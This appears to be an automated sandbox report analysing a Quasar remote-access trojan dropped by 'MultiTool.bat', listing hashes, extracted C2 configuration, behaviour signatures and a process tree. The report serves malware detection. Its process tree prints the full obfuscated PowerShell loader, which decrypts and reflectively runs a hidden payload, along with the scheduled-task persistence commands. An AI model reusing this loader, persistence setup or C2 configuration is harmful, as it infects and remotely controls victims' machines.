Analysis
- max time kernel
91s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
21/09/2024, 12:50
Static task
static1
Behavioral task
behavioral1
Sample
MultiTool.bat
Resource
win7-20240903-en
4 signatures
150 seconds
General
- Target MultiTool.bat
- Size 1.9MB
- Sample240921-p25mtstbmm
- SHA256 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7
- MD5 d73bb7bd8ccbcaa96d82814353542776
- SHA1 11da76358cb5bf6cd1c9e6f0335ab4c324f064b3
- SHA512 53f590519b02264ce7a5d9f3652b421a41a63127720ec0479d909c8562578a8d3ac2d29c6e5503811e423437b03bd40071de09cfe42bfeaa36b940838c34f39c
- SSDEEP 24576:Ze3Ma37ez5Gnb+UglSrPJIGx1h4tvCFTeCdahXwm1H0dIu92p/UObPbvtl628r6h:GOU6ZUGvCOwm504TZl1h
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
still-firefly-10028.pktriot.net:22288
Mutex
-
0d77e6bf-daed-41e5-ad1a-4a4f9650e9d5
Attributes
-
encryption_key
C75C8F2E12DF23FF67198A31653AD36D88F51551
-
install_name
COM Surrogate.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
COM Surrogate
-
subdirectory
Windows
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2020-50-0x000001B16BD70000-0x000001B16C08E000-memory.dmp family_quasar -
pid Process 1852 powershell.exe 2020 powershell.exe 1420 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation WScript.exe - Executes dropped EXE 1 IoCs
pid Process 2128 COM Surrogate.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4596 schtasks.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1852 powershell.exe 1852 powershell.exe 1420 powershell.exe 1420 powershell.exe 2020 powershell.exe 2020 powershell.exe 2128 COM Surrogate.exe 2128 COM Surrogate.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1852 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeIncreaseQuotaPrivilege 1420 powershell.exe Token: SeSecurityPrivilege 1420 powershell.exe Token: SeTakeOwnershipPrivilege 1420 powershell.exe Token: SeLoadDriverPrivilege 1420 powershell.exe Token: SeSystemProfilePrivilege 1420 powershell.exe Token: SeSystemtimePrivilege 1420 powershell.exe Token: SeProfSingleProcessPrivilege 1420 powershell.exe Token: SeIncBasePriorityPrivilege 1420 powershell.exe Token: SeCreatePagefilePrivilege 1420 powershell.exe Token: SeBackupPrivilege 1420 powershell.exe Token: SeRestorePrivilege 1420 powershell.exe Token: SeShutdownPrivilege 1420 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeSystemEnvironmentPrivilege 1420 powershell.exe Token: SeRemoteShutdownPrivilege 1420 powershell.exe Token: SeUndockPrivilege 1420 powershell.exe Token: SeManageVolumePrivilege 1420 powershell.exe Token: 33 1420 powershell.exe Token: 34 1420 powershell.exe Token: 35 1420 powershell.exe Token: 36 1420 powershell.exe Token: SeIncreaseQuotaPrivilege 1420 powershell.exe Token: SeSecurityPrivilege 1420 powershell.exe Token: SeTakeOwnershipPrivilege 1420 powershell.exe Token: SeLoadDriverPrivilege 1420 powershell.exe Token: SeSystemProfilePrivilege 1420 powershell.exe Token: SeSystemtimePrivilege 1420 powershell.exe Token: SeProfSingleProcessPrivilege 1420 powershell.exe Token: SeIncBasePriorityPrivilege 1420 powershell.exe Token: SeCreatePagefilePrivilege 1420 powershell.exe Token: SeBackupPrivilege 1420 powershell.exe Token: SeRestorePrivilege 1420 powershell.exe Token: SeShutdownPrivilege 1420 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeSystemEnvironmentPrivilege 1420 powershell.exe Token: SeRemoteShutdownPrivilege 1420 powershell.exe Token: SeUndockPrivilege 1420 powershell.exe Token: SeManageVolumePrivilege 1420 powershell.exe Token: 33 1420 powershell.exe Token: 34 1420 powershell.exe Token: 35 1420 powershell.exe Token: 36 1420 powershell.exe Token: SeIncreaseQuotaPrivilege 1420 powershell.exe Token: SeSecurityPrivilege 1420 powershell.exe Token: SeTakeOwnershipPrivilege 1420 powershell.exe Token: SeLoadDriverPrivilege 1420 powershell.exe Token: SeSystemProfilePrivilege 1420 powershell.exe Token: SeSystemtimePrivilege 1420 powershell.exe Token: SeProfSingleProcessPrivilege 1420 powershell.exe Token: SeIncBasePriorityPrivilege 1420 powershell.exe Token: SeCreatePagefilePrivilege 1420 powershell.exe Token: SeBackupPrivilege 1420 powershell.exe Token: SeRestorePrivilege 1420 powershell.exe Token: SeShutdownPrivilege 1420 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeSystemEnvironmentPrivilege 1420 powershell.exe Token: SeRemoteShutdownPrivilege 1420 powershell.exe Token: SeUndockPrivilege 1420 powershell.exe Token: SeManageVolumePrivilege 1420 powershell.exe Token: 33 1420 powershell.exe Token: 34 1420 powershell.exe Token: 35 1420 powershell.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1616 wrote to memory of 1852 1616 cmd.exe 83 PID 1616 wrote to memory of 1852 1616 cmd.exe 83 PID 1852 wrote to memory of 1420 1852 powershell.exe 85 PID 1852 wrote to memory of 1420 1852 powershell.exe 85 PID 1852 wrote to memory of 1936 1852 powershell.exe 89 PID 1852 wrote to memory of 1936 1852 powershell.exe 89 PID 1936 wrote to memory of 3552 1936 WScript.exe 90 PID 1936 wrote to memory of 3552 1936 WScript.exe 90 PID 3552 wrote to memory of 2020 3552 cmd.exe 93 PID 3552 wrote to memory of 2020 3552 cmd.exe 93 PID 2020 wrote to memory of 4596 2020 powershell.exe 94 PID 2020 wrote to memory of 4596 2020 powershell.exe 94 PID 2020 wrote to memory of 2128 2020 powershell.exe 96 PID 2020 wrote to memory of 2128 2020 powershell.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MultiTool.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2eKlV7eWIbsDwp3zOHVyyARQutxW9CvEfRfFymnjt/0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3bERveraLrGMq+rS+xt0/w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jVicbCnIpe=New-Object System.IO.MemoryStream(,$param_var); $sjVpnEVTZI=New-Object System.IO.MemoryStream; $EpywmQbVib=New-Object System.IO.Compression.GZipStream($jVicbCnIpe, [IO.Compression.CompressionMode]::Decompress); $EpywmQbVib.CopyTo($sjVpnEVTZI); $EpywmQbVib.Dispose(); $jVicbCnIpe.Dispose(); $sjVpnEVTZI.Dispose(); $sjVpnEVTZI.ToArray();}function execute_function($param_var,$param2_var){ $PppKCjMqcw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NYaxpOFyCC=$PppKCjMqcw.EntryPoint; $NYaxpOFyCC.Invoke($null, $param2_var);}$saWljchObs = 'C:\Users\Admin\AppData\Local\Temp\MultiTool.bat';$host.UI.RawUI.WindowTitle = $saWljchObs;$yoXYJlGbel=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($saWljchObs).Split([Environment]::NewLine);foreach ($fUseZbHqCI in $yoXYJlGbel) { if ($fUseZbHqCI.StartsWith(':: ')) { $rPMoVfJXSM=$fUseZbHqCI.Substring(3); break; }}$payloads_var=[string[]]$rPMoVfJXSM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_154_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_154.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_154.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_154.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2eKlV7eWIbsDwp3zOHVyyARQutxW9CvEfRfFymnjt/0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3bERveraLrGMq+rS+xt0/w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jVicbCnIpe=New-Object System.IO.MemoryStream(,$param_var); $sjVpnEVTZI=New-Object System.IO.MemoryStream; $EpywmQbVib=New-Object System.IO.Compression.GZipStream($jVicbCnIpe, [IO.Compression.CompressionMode]::Decompress); $EpywmQbVib.CopyTo($sjVpnEVTZI); $EpywmQbVib.Dispose(); $jVicbCnIpe.Dispose(); $sjVpnEVTZI.Dispose(); $sjVpnEVTZI.ToArray();}function execute_function($param_var,$param2_var){ $PppKCjMqcw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NYaxpOFyCC=$PppKCjMqcw.EntryPoint; $NYaxpOFyCC.Invoke($null, $param2_var);}$saWljchObs = 'C:\Users\Admin\AppData\Roaming\startup_str_154.bat';$host.UI.RawUI.WindowTitle = $saWljchObs;$yoXYJlGbel=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($saWljchObs).Split([Environment]::NewLine);foreach ($fUseZbHqCI in $yoXYJlGbel) { if ($fUseZbHqCI.StartsWith(':: ')) { $rPMoVfJXSM=$fUseZbHqCI.Substring(3); break; }}$payloads_var=[string[]]$rPMoVfJXSM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "COM Surrogate" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
PID:4596
-
-
C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe"C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2128
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
- MD5 661739d384d9dfd807a089721202900b
- SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
- SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 ee52dc7a60da00f667c711173c0d8631a3f7fb4c00e7c8f93c1f075d2c5ff805
- MD5 db516858bc7d44d795f3db27e4727215
- SHA1 641935cf474bc80e5639d4ee7ecde6c49f8437e0
- SHA512 113f3ac6be9ef113d201b1a8476cf1d02cf8292d52f9550670988cf17b0b679c691f7703a250469bf00cc1a3d4819ffb255677ffea2883b8329860e94f88cc60
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ukrybdg1.s0r.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_154.bat
- Size 1.9MB
- SHA256 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7
- MD5 d73bb7bd8ccbcaa96d82814353542776
- SHA1 11da76358cb5bf6cd1c9e6f0335ab4c324f064b3
- SHA512 53f590519b02264ce7a5d9f3652b421a41a63127720ec0479d909c8562578a8d3ac2d29c6e5503811e423437b03bd40071de09cfe42bfeaa36b940838c34f39c
- SSDEEP 24576:Ze3Ma37ez5Gnb+UglSrPJIGx1h4tvCFTeCdahXwm1H0dIu92p/UObPbvtl628r6h:GOU6ZUGvCOwm504TZl1h
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_154.vbs
- Size 115B
- SHA256 1c8d980cdeb068f58e75541e46ce228bd7adb5715f6993edc62a81fd534b35f2
- MD5 38dd4c054b812a2f372a8e72140f3ca2
- SHA1 c2466f5e3d2323efad3db8b2017b3c09a506af0d
- SHA512 df3fb7660e217464856c75ea717f3d6cd5aa123f7c738fa9ef2e5a4bfdba6e43772265a54852fcca53213ba28a8fabc9dddca75ed202fc4de736b16135c17713
- MD5 SHA1 SHA512